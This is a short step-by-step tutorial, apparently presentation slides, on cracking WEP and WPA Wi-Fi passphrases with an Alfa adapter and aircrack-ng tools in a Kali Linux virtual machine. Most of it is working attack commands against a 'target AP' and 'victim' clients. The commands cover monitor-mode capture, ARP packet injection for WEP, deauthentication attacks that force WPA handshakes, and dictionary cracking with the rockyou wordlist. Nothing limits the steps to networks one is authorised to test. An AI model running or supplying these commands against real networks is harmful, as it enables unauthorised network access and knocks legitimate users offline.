Cracking WEP & WPA using an Alfa AWUS036H and Kali Linux on VM

WHAT?

Get Alfa AWUS036H to work on Kali Virtual Machine

Get airmon-ng working correctly

Find target Access Point

Capture desirable packets

Crack passphrase or key

Stage One

- DO NOT connect your wireless network card to the computer yet!
- Boot computer, start VMWare, launch your Kali virtual computer.
- Login to Kali, open a terminal window.

 Now, connect your wireless network card. Choose the option to connect to VM, not the host computer.

Type iwconfig to see if the wireless NIC is seen by Kali.

Stage Two

• Start Airmon-ng. If it lists processes that might interfere with it, kill the processes.

airmon-ng start wlan0

Check for monitor interface, should be something like wlan0mon.
 iwconfig

• Listen for traffic, find your target AP. airodump-ng wlan0mon

 Copy the channel number (1-11) and the MAC/BSSID for your target AP. Stop airodump-ng.

Stage Three WEP

Capture packets to/from your target AP.

```
airodump-ng --bssid <APMAC> -c <Ch#> \
    -w WEP wlan0mon
```

• In different terminal, start cracking against the CAP file. aircrack-ng WEP.cap

To expedite, inject packets using aireplay & victim MAC.

```
aireplay-ng -3 -b <APMAC> \
   -h <ClientMAC> wlan0mon
```

Wait. When aircrack-ng finishes, stop airodump-ng & aireplay-ng.

Stage Three WPA

Capture packets to/from your target AP.

```
airodump-ng --bssid <APMAC> -c <Ch#> \
  -w WPA wlan0mon
```

- You're looking for a message "WPA handshake" in the upper right corner of the airodump-ng window.
- To force handshakes, deauth client using aireplay & victim MAC.

```
aireplay-ng -0 3 -a <APMAC> \
   -c <ClientMAC> wlan0mon
```

Repeat deauth until you have a handshake. Stop airodump-ng & aireplay-ng.

Stage Four WPA

- If needed, unzip the rockyou wordlist.
 gunzip /usr/share/wordlists/rockyou.txt.gz
- Crack password from capture file. For more complex passphrases you should use either HashCat or John The Ripper. For our example, we'll use aircrack-ng because our passphrases are simpler and we don't need more complex rulesets.

```
aircrack-ng -wpa -b <APMAC> -w \
/usr/share/wordlists/rockyou.txt WPA.cap
```

Wait. If the password is in the dictionary, you'll win.

QUESTIONS?

